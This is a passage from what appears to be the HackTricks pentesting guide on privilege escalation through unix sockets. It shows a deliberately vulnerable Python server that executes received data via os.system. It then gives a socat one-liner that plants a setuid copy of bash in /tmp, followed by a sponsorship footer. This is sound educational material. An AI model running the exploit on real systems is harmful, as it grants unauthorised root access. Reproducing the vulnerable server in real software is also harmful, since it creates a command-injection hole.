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## Socket binding example with Python In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. {% code title="s.py" %} ```python import socket import os, os.path import time from collections import deque if os.path.exists("/tmp/socket_test.s"): os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: server.listen(1) conn, addr = server.accept() datagram = conn.recv(1024) if datagram: print(datagram) os.system(datagram) conn.close() ``` {% endcode %} **Execute** the code using python: `python s.py` and **check how the socket is listening**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` **Exploit** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ```
Support HackTricks and get benefits! - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**